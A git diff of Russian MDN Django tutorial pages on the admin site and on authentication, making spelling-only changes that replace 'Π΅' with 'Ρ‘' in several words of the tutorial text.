+<p>МодСль <code>Genre</code>Β (ΠΈ модСль <code>Language</code>, Ссли Π²Ρ‹ Π΅Ρ‘ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ) ΠΈΠΌΠ΅Π΅Ρ‚ СдинствСнноС ΠΏΠΎΠ»Π΅. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π½Π΅Ρ‚ нСобходимости создания для Π½ΠΈΡ… Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ с Ρ†Π΅Π»ΡŒΡŽ отобраТСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»Π΅ΠΉ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: цСлСсообразно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² спискС ΠΌΠΎΠ΄Π΅Π»ΠΈΒ <code>BookInstance</code>Β ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π»ΠΈΡΡŒ хотя Π±Ρ‹ статус ΠΈ оТидаСмая Π΄Π°Ρ‚Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π°. ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ это Π² качСствС "испытания" Π² ΠΊΠΎΠ½Ρ†Π΅ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ!</p>
@@ -227,7 +227,7 @@ class BookInstanceAdmin(admin.ModelAdmin):
<h3 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²_списка">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ² списка</h3>
-<p>Если Π² вашСм спискС Π΅ΡΡ‚ΡŒ мноТСство элСмСнтов, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Ρ… ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ². Π­Ρ‚ΠΎ выполняСтся ΠΏΡƒΡ‚Π΅ΠΌ пСрСчислСния ΠΈΡ… Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>list_filter</code>. Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ класс <code style="font-style: normal; font-weight: normal;">BookInstanceAdmin</code>Β Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ:</p>
+<p>Если Π² вашСм спискС Π΅ΡΡ‚ΡŒ мноТСство элСмСнтов, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Ρ… ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ². Π­Ρ‚ΠΎ выполняСтся ΠΏΡƒΡ‚Ρ‘ΠΌ пСрСчислСния ΠΈΡ… Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>list_filter</code>. Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ класс <code style="font-style: normal; font-weight: normal;">BookInstanceAdmin</code>Β Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ:</p>
<pre class="brush: python">class BookInstanceAdmin(admin.ModelAdmin):
<strong> list_filter = ('status', 'due_back')</strong>
@@ -242,7 +242,7 @@ class BookInstanceAdmin(admin.ModelAdmin):
<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² прСдставлСниях Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ всС поля ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ Π² порядкС ΠΈΡ… объявлСния Π² ΠΌΠΎΠ΄Π΅Π»ΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ порядок Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ†ΠΈΠΈ, ΠΊΠ°ΠΊΠΈΠ΅ поля ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ (ΠΈΠ»ΠΈ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ для ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π»ΠΈ поля Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ, ΠΈ Π΄Π°ΠΆΠ΅ ΠΊΠ°ΠΊΠΈΠ΅ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹ рСдактирования ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² Π°Π΄ΠΌΠΈΠ½-Ρ„ΠΎΡ€ΠΌΠ°Ρ….</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> МодСли LocalLibrary ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ просты, поэтому Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚, Π½ΠΎ ΠΌΡ‹ всС Ρ€Π°Π²Π½ΠΎ внСсСм Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ измСнСния, просто Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π°ΠΌ, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> МодСли LocalLibrary ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ просты, поэтому Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚, Π½ΠΎ ΠΌΡ‹ всС Ρ€Π°Π²Π½ΠΎ внСсём Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ измСнСния, просто Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π°ΠΌ, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
</div>
<h4 id="Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅_ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΌΠΈ_ΠΈ_Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌΠΈ_полями">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΌΠΈ ΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌΠΈ полями</h4>
diff --git a/files/ru/learn/server-side/django/authentication/index.html b/files/ru/learn/server-side/django/authentication/index.html
index 760cd8943c..636fc0e94b 100644
--- a/files/ru/learn/server-side/django/authentication/index.html
+++ b/files/ru/learn/server-side/django/authentication/index.html
@@ -39,7 +39,7 @@ original_slug: Learn/Server-side/Django/АутСнтификация
<h2 id="ΠžΠ±Π·ΠΎΡ€">ΠžΠ±Π·ΠΎΡ€</h2>
-<p>Django прСдоставляСт систСму Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈΒ ("permission") ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π½Π° основС Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° Ρ€Π°Π±ΠΎΡ‚Ρ‹ с сСссиями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассматривали Π² <a href="/ru/docs/Learn/Server-side/Django/Sessions">ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ части</a>. БистСма Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ позволяСт Π²Π°ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅ дСйствия ΠΊΠ°ΠΊΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ. Π”Π°Π½Π½Ρ‹ΠΉ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя встроСнныС ΠΌΠΎΠ΄Π΅Π»ΠΈ для <code>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ</code> ΠΈ <code>Π“Ρ€ΡƒΠΏΠΏ</code> (основной способ примСнСния ΠΏΡ€Π°Π² доступа для Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ), нСпосрСдствСнно саму систСму ΠΏΡ€Π°Π² доступа (permissions)/Ρ„Π»Π°Π³ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡Ρƒ, с ΠΊΠ°ΠΊΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠΎΠΉ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ для Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌ доступом.</p>
+<p>Django прСдоставляСт систСму Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈΒ ("permission") ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π½Π° основС Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° Ρ€Π°Π±ΠΎΡ‚Ρ‹ с сСссиями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассматривали Π² <a href="/ru/docs/Learn/Server-side/Django/Sessions">ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ части</a>. БистСма Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ позволяСт Π²Π°ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅ дСйствия ΠΊΠ°ΠΊΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ. Π”Π°Π½Π½Ρ‹ΠΉ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя встроСнныС ΠΌΠΎΠ΄Π΅Π»ΠΈ для <code>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ</code> ΠΈ <code>Π“Ρ€ΡƒΠΏΠΏ</code> (основной способ примСнСния ΠΏΡ€Π°Π² доступа для Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ), нСпосрСдствСнно саму систСму ΠΏΡ€Π°Π² доступа (permissions)/Ρ„Π»Π°Π³ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡Ρƒ, с ΠΊΠ°ΠΊΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠΎΠΉ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ для Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌ доступом.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ соотвСтствии с ΠΈΠ΄Π΅ΠΎΠ»ΠΎΠ³ΠΈΠ΅ΠΉ Django систСма Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ являСтся ΠΎΡ‡Π΅Π½ΡŒ ΠΎΠ±Ρ‰Π΅ΠΉ ΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π΅ прСдоставляСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… систСмах Π²Π΅Π±-Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ. РСшСниями Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ±Ρ‰ΠΈΡ… Π·Π°Π΄Π°Ρ‡ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ сторонних Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ ΠΏΠΎΠ΄Π±ΠΎΡ€Π° пароля (Ρ‡Π΅Ρ€Π΅Π· ΡΡ‚ΠΎΡ€ΠΎΠ½Π½ΡŽΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ OAuth).</p>
@@ -47,7 +47,7 @@ original_slug: Learn/Server-side/Django/АутСнтификация
<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ руководства ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° сайтС <a href="https://developer.mozilla.org/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, созданиС страниц Π²Ρ…ΠΎΠ΄Π°/Π²Ρ‹Ρ…ΠΎΠ΄Π°, добавлСния разграничСния доступа (permissions) ΠΊ вашим модСлям, Π° Ρ‚Π°ΠΊΠΆΠ΅ продСмонстрируСм ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π·Π° доступом ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ страницам. ΠœΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ/Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΡŽ для ΠΏΠΎΠΊΠ°Π·Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΈ сотрудникам Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, списков ΠΊΠ½ΠΈΠ³, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ взяты Π½Π° ΠΏΡ€ΠΎΠΊΠ°Ρ‚.</p>
-<p>БистСма Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ являСтся ΠΎΡ‡Π΅Π½ΡŒ Π³ΠΈΠ±ΠΊΠΎΠΉΒ ΠΈ позволяСт Π²Π°ΠΌ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свои собствСнныС URL-адрСса, Ρ„ΠΎΡ€ΠΌΡ‹, отобраТСния, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ страниц, Ссли Π²Ρ‹ ΠΏΠΎΠΆΠ΅Π»Π°Π΅Ρ‚Π΅, с нуля,Β Ρ‡Π΅Ρ€Π΅Π· простой Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ API для Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π² Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ "встроСнныС" Π² Django ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Ρ„ΠΎΡ€ΠΌ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ построСния страниц Π²Ρ…ΠΎΠ΄Π° ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π°. Нам всС Π΅Ρ‰Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ страниц, Π½ΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ достаточно нСслоТно.</p>
+<p>БистСма Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ являСтся ΠΎΡ‡Π΅Π½ΡŒ Π³ΠΈΠ±ΠΊΠΎΠΉΒ ΠΈ позволяСт Π²Π°ΠΌ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свои собствСнныС URL-адрСса, Ρ„ΠΎΡ€ΠΌΡ‹, отобраТСния, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ страниц, Ссли Π²Ρ‹ ΠΏΠΎΠΆΠ΅Π»Π°Π΅Ρ‚Π΅, с нуля,Β Ρ‡Π΅Ρ€Π΅Π· простой Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ API для Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π² Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ "встроСнныС" Π² Django ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Ρ„ΠΎΡ€ΠΌ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ построСния страниц Π²Ρ…ΠΎΠ΄Π° ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π°. Нам всС Π΅Ρ‰Ρ‘ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ страниц, Π½ΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ достаточно нСслоТно.</p>
<p>ΠœΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Ρ€Π°Π·Π³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ доступа (permissions), Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ статусов авторизации и прав доступа, Π² отобраТСниях, ΠΈ Π² ΡˆΠ°Π±Π»ΠΎΠ½Π°Ρ… страниц.</p>
@@ -104,7 +104,7 @@ user.save()
<ol>
<li>НаТмитС Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>Add</strong> <strong>(Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ)</strong> (рядом с Group) ΠΈ создайтС Π½ΠΎΠ²ΡƒΡŽ <em>Π³Ρ€ΡƒΠΏΠΏΡƒ</em>; для Π΄Π°Π½Π½ΠΎΠΉ Π³Ρ€ΡƒΠΏΠΏΡ‹ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ <strong>Name (Имя) </strong>"Library Members".<img alt="Admin site - add group" src="https://mdn.mozillademos.org/files/14093/admin_authentication_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 561px; margin: 0px auto; width: 800px;"></li>
- <li>Для Π΄Π°Π½Π½ΠΎΠΉ Π³Ρ€ΡƒΠΏΠΏΡ‹ Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, поэтому ΠΌΡ‹ просто Π½Π°ΠΆΠΈΠΌΠ°Π΅ΠΌ ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>SAVE (Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ)</strong> (Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚Π΅ ΠΊ списку Π³Ρ€ΡƒΠΏΠΏ).</li>
